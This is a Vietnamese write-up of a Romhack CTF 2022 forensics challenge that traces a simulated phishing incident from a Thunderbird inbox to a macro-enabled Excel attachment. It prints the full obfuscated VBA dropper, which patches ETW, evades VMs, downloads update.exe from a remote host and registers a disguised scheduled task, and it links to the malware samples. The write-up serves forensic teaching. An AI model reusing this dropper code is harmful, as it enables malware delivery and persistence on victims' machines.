[Write-up] Romhack CTF 2022 - [Forensics] Chiếc email nguy hiểm...
Giới thiệu
You got Mail là một challenge có độ khó Medium, nằm trong mảng Forensics (điều tra số), mô phỏng lại một Incident (sự cố) khi công ty X phát hiện ra máy tính của một nhân viên trong công ty bị dính mã độc. Team IR (Incident Response) đã ngay lập tức thu thập chứng cứ trên máy tính này. Nhiệm vụ của chúng ta là phải tìm hiểu xem mã độc thâm nhập vào bằng cách nào (với tiêu đề như trên thì chắc là qua email rồi) và chuyện gì đã xảy ra. Let's go~
Đề bài
Bạn có thể tải backup đề bài về tại đây: https://mega.nz/file/D08wnIDa#aZzUc9FNJJLSF1xWjd8B2YD_HCpVnStbemXfkEeQjBY (khá nặng)
Phân tích
Sau khi giải nén file zip ra chúng ta thu được file khá nặng là case_1.ad1
(1.4 GB). Chạy thử lệnh file
kiểm tra xem là dạng file gì:
Well, không có thông tin gì. Thử gooogle thì có thông tin ở blog này: https://tmairi.github.io/posts/dissecting-the-ad1-file-format/
This format is also referred to as AD1 from their extension, and are generated by the popular digital forensics tool; FTK Imager.
Như vậy, ta cần cài đặt công cụ FTK Imager để có thể đọc được file. Sau khi cài đặt xong, mở lên chúng ta có (Chọn File > Add Evidence Item... > Image File):
Đây là image (ảnh) một phần ổ đĩa cứng của máy tính nạn nhân (Tên user là info
). Giờ chúng ta cần đào bới xem bên trong này có những gì. Để có cái nhìn khái quát nhất, bước đầu chúng ta export ra danh sách các thư mục trong file image:
Với hint từ đề bài, chúng ta tìm kiếm các ứng dụng hoặc từ khóa liên quan đến mail như: mail
, Thunderbird
, Outlook
,... Và đúng thật là nạn nhân của chúng ta có sử dụng mail client ThunderBird:
ThunderBird sẽ lưu trữ các email được tải về trong thư mục
ImapMail
ở trong các profile ở đường dẫnC:\Users\<user_name>\AppData\Roaming\Thunderbird\Profiles\<profile_name>\ImapMail\<mail_domain>
. Sẽ có các fileINBOX
,Draft
,Sent
tương ứng với các thư mục mail trong một hòm mail thông thường
Truy cập vào thư mục này trong FTK Imager, xem nội dung file INBOX
:
Đây chính là nội dung mail mà nạn nhân nhận được . Người nhận là
info@windowsliveupdater.com
(có thể là mailing list thông báo chung?), người gửi là ai đó từ bộ phận HR hr@windowsliveupdater.com
:
Dear All,
We are in the process of drafting a new Privacy Policy for the company.
In the upcoming hours, you will receive an early prototype with some improved points for you to check out.
King Regards,
HR
Kéo xuống phía dưới, chúng ta thấy 1 email khác, và đây chính là email nghi vấn, bạn có thể để ý đến file đính kèm:
nội dung đính kèm là một file policy_draft.zip
và được bảo vệ bằng mật khẩu, nghe khá là phù hợp với nội dung email đúng không . Thực hiện base64 decode phần nội dung đính kèm, và đổi tên thành
policy_draft.zip
rồi xem thông tin:
bên trong là một file Excel policy.xlsm
. Chú ý đến chữ cái m
ở cuối file extension, nó thể hiện rằng file này là một file Excel có chứa macro. Rất nhiều các payload độc hại được phát tán qua hình thức nhúng macro vào trong file văn bản như thế này.
Đến bước giải nén file zip và đọc file
policy.xlsm
thì rất có thể các chương trình anti-virus sẽ cảnh báo và xóa mất file, để có thể làm tiếp thì bạn cần tạm thời tắt anti-virus đi nhé. Tất nhiên, đây là đề CTF thì chúng ta có thể tin tưởng được nhưng thực tế thì đừng có tắt nhé
Để có thể đọc được các macro bên trong file, chúng ta có thể sử dụng các công cụ: olevba.py và oledump.py
Giải nén file và "mạnh dạn" mở bằng Excel , chúng ta sẽ thấy đây là file trắng tinh, giống như thắc mắc trong email sau... (mail nằm trong file
Sent-1
)
Nếu chúng ta chọn Enable Content
sẽ thấy bắn ra dialog báo lỗi, chọn Debug
và xem phần macro bên trong, ta sẽ thấy file này không hẳn là không có gì
Enable Content
sẽ ngay lập tức thực thi macro nhúng bên trong file nên thực tế đừng làm như vậy nhé, hãy sử dụng công cụ phân tích khác
Đây là full source code của macro:
Private Declare PtrSafe Function xisiyapamkoylasnzl Lib "kernel32" Alias "GetProcAddress" (ByVal tgtiahebbvsbqmrj As LongPtr, ByVal lfumwwlvpfiwx As String) As LongPtr
Private Declare PtrSafe Function imnbeuphe Lib "kernel32" Alias "LoadLibraryA" (ByVal aqwcolpbi As String) As LongPtr
Private Declare PtrSafe Function nopwruvxax Lib "kernel32" Alias "VirtualProtect" (aljnxbrydsnuiosyesw As Any, ByVal jzedxsenawlmykdqibso As LongPtr, ByVal gvnvwccmkyoepnlnwigu As Long, byeylfqxdtfsdls As Long) As Long
Private Declare PtrSafe Sub xmzzuvvntl Lib "kernel32" Alias "RtlMoveMemory" (tvpmcxbrwcrxdod As Any, auepzcejq As Any, ByVal hjhavbsq As LongPtr)
Function aisvagnmiamcvp(qtuaocmap)
Dim aocnbqpsovi, vlapcoglak, vbocmkvoqiu
Dim ooqitnapci As String
vlapcoglak = Len(qtuaocmap)
ooqitnapci = ""
For aocnbqpsovi = 1 To vlapcoglak
vbocmkvoqiu = Asc(Mid(qtuaocmap, aocnbqpsovi, 1))
If vbocmkvoqiu >= 33 And vbocmkvoqiu <= 126 Then
ooqitnapci = ooqitnapci & Chr(33 + ((vbocmkvoqiu + 14) Mod 94))
Else
ooqitnapci = ooqitnapci & Chr(vbocmkvoqiu)
End If
Next
aisvagnmiamcvp = ooqitnapci
End Function
Private Sub ykdssbywitfvquejg()
Dim ynvucrpqolcamfmaocdt As LongPtr
Dim efzsgiowzojb As LongPtr
Dim qzrovbtyakgnupew As Long
Dim fnymfgbbanukikz As LongPtr
#If Win64 Then
Dim MyByteArray(1) As Byte
MyByteArray(0) = 195
#Else
Dim MyByteArray(4) As Byte
MyByteArray(0) = 194
MyByteArray(1) = 20
MyByteArray(2) = 0
MyByteArray(3) = 0
#End If
ynvucrpqolcamfmaocdt = imnbeuphe(rdqkfyyuzfrq("6e74646c6c2e64") & rdqkfyyuzfrq("6c6c"))
efzsgiowzojb = xisiyapamkoylasnzl(ynvucrpqolcamfmaocdt, rdqkfyyuzfrq("45") & rdqkfyyuzfrq("74774576656e745772697465"))
#If Win64 Then
qzrovbtyakgnupew = nopwruvxax(ByVal efzsgiowzojb, 1, 64, 0)
fnymfgbbanukikz = VarPtr(MyByteArray(0))
xmzzuvvntl ByVal efzsgiowzojb, ByVal fnymfgbbanukikz, 1
#Else
qzrovbtyakgnupew = nopwruvxax(ByVal efzsgiowzojb, 4, 64, 0)
fnymfgbbanukikz = VarPtr(MyByteArray(0))
xmzzuvvntl ByVal efzsgiowzojb, ByVal fnymfgbbanukikz, 4
#End If
End Sub
Function vzjuoqin()
CheckVM = False
Set bkeebrxedzcwrkyu = GetObject(rdqkfyyuzfrq("77696e6d676d74733a7b696d706572736f6e6174696f6e4c6576656c3d696d706572736f6e6174652c61757468656e74") & rdqkfyyuzfrq("69636174696f6e4c6576656c3d706b74507269766163797d215c5c2e5c726f6f745c63696d7632"))
Set xhxrlshoint = bkeebrxedzcwrkyu.ExecQuery(rdqkfyyuzfrq("53656c6563") & rdqkfyyuzfrq("74202a2066726f6d2057696e33325f436f6d707574657253797374656d"))
For Each objItem In xhxrlshoint
strModel = objItem.Model
If InStr(UCase(strModel), rdqkfyyuzfrq("564952545541") & rdqkfyyuzfrq("4c")) Then
vzjuoqin = True
End If
Next
End Function
Function dwwfjmue(hjhavbsq As Integer)
Dim uigcvlggv As Variant
Dim shibvccqbgzt As Long
Dim dkqyuqgrwh As String
If hjhavbsq < 1 Then
MsgBox rdqkfyyuzfrq("4c656e") & rdqkfyyuzfrq("677468207661726961626c65206d7573742062652067726561746572207468616e2030")
Exit Function
End If
uigcvlggv = Array(rdqkfyyuzfrq("61"), rdqkfyyuzfrq("62"), rdqkfyyuzfrq("63"), rdqkfyyuzfrq("64"), rdqkfyyuzfrq("65"), rdqkfyyuzfrq("66"), rdqkfyyuzfrq("67"), rdqkfyyuzfrq("68"), rdqkfyyuzfrq("69"), rdqkfyyuzfrq("6a"), _
rdqkfyyuzfrq("6b"), rdqkfyyuzfrq("6c"), rdqkfyyuzfrq("6d"), rdqkfyyuzfrq("6e"), rdqkfyyuzfrq("6f"), rdqkfyyuzfrq("70"), rdqkfyyuzfrq("71"), rdqkfyyuzfrq("72"), rdqkfyyuzfrq("73"), rdqkfyyuzfrq("74"), rdqkfyyuzfrq("75"), rdqkfyyuzfrq("76"), rdqkfyyuzfrq("77"), rdqkfyyuzfrq("78"), _
rdqkfyyuzfrq("79"), rdqkfyyuzfrq("7a"), rdqkfyyuzfrq("30"), rdqkfyyuzfrq("31"), rdqkfyyuzfrq("32"), rdqkfyyuzfrq("33"), rdqkfyyuzfrq("34"), rdqkfyyuzfrq("35"), rdqkfyyuzfrq("36"), rdqkfyyuzfrq("37"), rdqkfyyuzfrq("38"), rdqkfyyuzfrq("39"), _
rdqkfyyuzfrq("41"), rdqkfyyuzfrq("42"), rdqkfyyuzfrq("43"), rdqkfyyuzfrq("44"), rdqkfyyuzfrq("45"), rdqkfyyuzfrq("46"), rdqkfyyuzfrq("47"), rdqkfyyuzfrq("48"), _
rdqkfyyuzfrq("49"), rdqkfyyuzfrq("4a"), rdqkfyyuzfrq("4b"), rdqkfyyuzfrq("4c"), rdqkfyyuzfrq("4d"), rdqkfyyuzfrq("4e"), rdqkfyyuzfrq("4f"), rdqkfyyuzfrq("50"), rdqkfyyuzfrq("51"), rdqkfyyuzfrq("52"), rdqkfyyuzfrq("53"), rdqkfyyuzfrq("54"), rdqkfyyuzfrq("55"), rdqkfyyuzfrq("56"), _
rdqkfyyuzfrq("57"), rdqkfyyuzfrq("58"), rdqkfyyuzfrq("59"), rdqkfyyuzfrq("5a"))
For shibvccqbgzt = 1 To hjhavbsq
Randomize
dkqyuqgrwh = dkqyuqgrwh & uigcvlggv(Int((UBound(uigcvlggv) - LBound(uigcvlggv) + 1) * Rnd + LBound(uigcvlggv)))
Next shibvccqbgzt
dwwfjmue = dkqyuqgrwh
End Function
Private Sub Workbook_Open()
ykdssbywitfvquejg
If vzjuoqin() = True Then
Exit Sub
End If
Dim jrrastibnaljbe As String
jrrastibnaljbe = dwwfjmue(10)
Dim hampnudojuac As String
Dim rjzasncqevfqfjtll, ajaiclaklii As String
Dim yutthzknns As Object
hampnudojuac = rdqkfyyuzfrq("68747470733a2f2f77696e") & rdqkfyyuzfrq("646f77736c697665757064617465722e636f6d2f7570646174652e657865")
Set yutthzknns = CreateObject(rdqkfyyuzfrq("4d69") & rdqkfyyuzfrq("63726f736f66742e584d4c48545450"))
yutthzknns.Open rdqkfyyuzfrq("474554"), hampnudojuac
yutthzknns.send
If yutthzknns.Status <> 200 Then
Exit Sub
End If
ajaiclaklii = aisvagnmiamcvp("ri-&D6CD-:?7@-pAAs2E2-{@42=-|:4C@D@7E-(:?5@HD-tIA=@C6C-") & dwwfjmue(20)
MkDir ajaiclaklii
rjzasncqevfqfjtll = Replace(ajaiclaklii & rdqkfyyuzfrq("5c7b307d2e657865"), rdqkfyyuzfrq("7b307d"), jrrastibnaljbe)
Set qnuibhmdu = CreateObject(rdqkfyyuzfrq("4144") & rdqkfyyuzfrq("4f44422e53747265616d"))
qnuibhmdu.Open
qnuibhmdu.Type = 1
qnuibhmdu.Write yutthzknns.responseBody
qnuibhmdu.SaveToFile rjzasncqevfqfjtll, 2
qnuibhmdu.Close
Set rcmvxjbliqh = CreateObject(rdqkfyyuzfrq("5363686564756c652e5365727669") & rdqkfyyuzfrq("6365"))
Call rcmvxjbliqh.Connect
Dim upqqxrbhl: Set upqqxrbhl = rcmvxjbliqh.NewTask(0)
upqqxrbhl.RegistrationInfo.Author = rdqkfyyuzfrq("4d6963") & rdqkfyyuzfrq("726f736f667420436f72706f726174696f6e")
upqqxrbhl.settings.StartWhenAvailable = True
Dim kzujiavquwjkahbl As Variant
kzujiavquwjkahbl = Array(223, 195, 213, 236, 246, 226, 227, 167, 231, 228, 238, 200, 167, 241, 200, 163, 249, 200, 166, 249, 245, 167, 239, 200, 229, 164, 225)
Dim wwiqwvyhemghupdahkj As Integer
wwiqwvyhemghupdahkj = 0
For i = 0 To 26
wwiqwvyhemghupdahkj = wwiqwvyhemghupdahkj + kzujiavquwjkahbl(i) Xor 151
Next
upqqxrbhl.settings.Hidden = False
Dim mksygaopkfgxjr: Set mksygaopkfgxjr = upqqxrbhl.triggers
Dim wtgcgwcfufxr: Set wtgcgwcfufxr = mksygaopkfgxjr.Create(6)
Dim startTime: ts = DateAdd(rdqkfyyuzfrq("73"), wwiqwvyhemghupdahkj, Now)
startTime = Year(ts) & rdqkfyyuzfrq("2d") & Right(Month(ts), 2) & rdqkfyyuzfrq("2d") & Right(Day(ts), 2) & rdqkfyyuzfrq("54") & Right(Hour(ts), 2) & rdqkfyyuzfrq("3a") & Right(Minute(ts), 2) & rdqkfyyuzfrq("3a") & Right(Second(ts), 2)
wtgcgwcfufxr.StartBoundary = startTime
wtgcgwcfufxr.ID = rdqkfyyuzfrq("54") & rdqkfyyuzfrq("696d65547269676765724964")
Dim rjgfeghedgjjmmmltyii As String
Dim zxcbhysuzblwgpc: Set zxcbhysuzblwgpc = upqqxrbhl.Actions.Create(0)
zxcbhysuzblwgpc.Path = rjzasncqevfqfjtll
Call rcmvxjbliqh.GetFolder(rdqkfyyuzfrq("5c")).RegisterTaskDefinition(rdqkfyyuzfrq("55706461") & rdqkfyyuzfrq("74655461736b"), upqqxrbhl, 6, , , 3)
End Sub
Private Function rdqkfyyuzfrq(ByVal aqkibdckbiij As String) As String
Dim imrcqggqxrzh As Long
For imrcqggqxrzh = 1 To Len(aqkibdckbiij) Step 2
rdqkfyyuzfrq = rdqkfyyuzfrq & Chr$(Val("&H" & Mid$(aqkibdckbiij, imrcqggqxrzh, 2)))
Next imrcqggqxrzh
End Function
Nhìn khá là rối rắm đúng không . Tác giả malware đã cố tính đặt tên biến khó hiểu cùng một vài thuật toán để obfuscate (làm rối code) gây khó khăn cho người phân tích. Sử dụng công cụ
olevba.py
, chạy với switch --deobf
và --decode
sẽ giúp chúng ta decode các string này:
- Hàm
rdqkfyyuzfrq
đơn giản là sẽ hex decode string được truyền vào. - Hàm
aisvagnmiamcvp
sẽ giải mã ra string:C:\Users\info\AppData\Local\Microsoft\Windows\Explorer\
Nhìn vào các string khác cũng không có gì khả nghi, đều là các string liên quan đến hoạt động của malware (tải mã độc, thực thi, chỉnh sửa registry) duy nhất có đoạn code này:
Dim kzujiavquwjkahbl As Variant
kzujiavquwjkahbl = Array(223, 195, 213, 236, 246, 226, 227, 167, 231, 228, 238, 200, 167, 241, 200, 163, 249, 200, 166, 249, 245, 167, 239, 200, 229, 164, 225)
Dim wwiqwvyhemghupdahkj As Integer
wwiqwvyhemghupdahkj = 0
For i = 0 To 26
wwiqwvyhemghupdahkj = wwiqwvyhemghupdahkj + kzujiavquwjkahbl(i) Xor 151
Next
đoạn code này thực hiện thuật toán XOR đơn giản, code lại bằng python:
Như vậy ta đã có được nửa đầu của flag. Thế còn nửa còn lại ở đâu . Với các mã độc dạng này, file đầu tiên sẽ đóng vai trò dropper, và từ file này sẽ thực hiện việc tải xuống và thực thi file chính (payload). Trong trường hợp này, file được tải về là:
Tiếp tục "mạnh dạn" truy cập vào https://widowsliveupdater.com/update.exe (do hết giải CTF hiện đã không vào được nữa, bạn có thể xem file backup ở đây: https://mega.nz/file/v0E2hIIA#-uQESLcO4o7bpQmsvg1sVlLDo_qfrovZPQ28zqi9Z3w) ta tải về được một file thực thi viết bằng C#. Đưa vào công cụ ILSpy để xem decompile:
Chú ý đến PSEmpire_Stage1.Program
:
PSEmpire is a great tool with a wide variety of uses in the Information Security community including learning, red teaming and even more nefarious uses such as being used by the Ryuk Ransomware. Sadly, it has been officially announced the PSEmpire is no longer being supported and development has stopped.
có thể nói là một công cụ đển tấn công sâu hơn vào hệ thống bên trong nội bộ công ty. Tất nhiên với đề bài CTF mô phỏng thì toàn bộ các phần độc hại đã được loại bỏ. Tương tự với phần macro, ta cũng chú ý đến đoạn code base64 và XOR:
byte[] array2 = Convert.FromBase64String("Ki11akYtd0YqdGkoa3xGLW1Gbilrcjg4ZA==");
for (int j = 0; j < array2.Length; j++)
{
array2[j] = (byte)(array2[j] ^ Convert.ToByte(25));
}
Decode với CyberChef ta được phần còn lại của flag:
Kết
Vậy có thể tóm tắt lại vụ incident (mô phỏng) này bắt nguồn từ việc hacker bằng một cách nào đó đã chiếm được tài khoản mail của HR, sau đó dùng tài khoản này fake việc công ty cập nhật policy đồng thời gửi mail chứa mã độc phát tán đến các thành viên khác. Thế nên, chúng ta cần hết sức cảnh giác với các email (có file đính kèm) khả nghi, cho dù nó đến từ đồng nghiệp của mình hay ai đi chăng nữa.
See ya!
Tham khảo
All rights reserved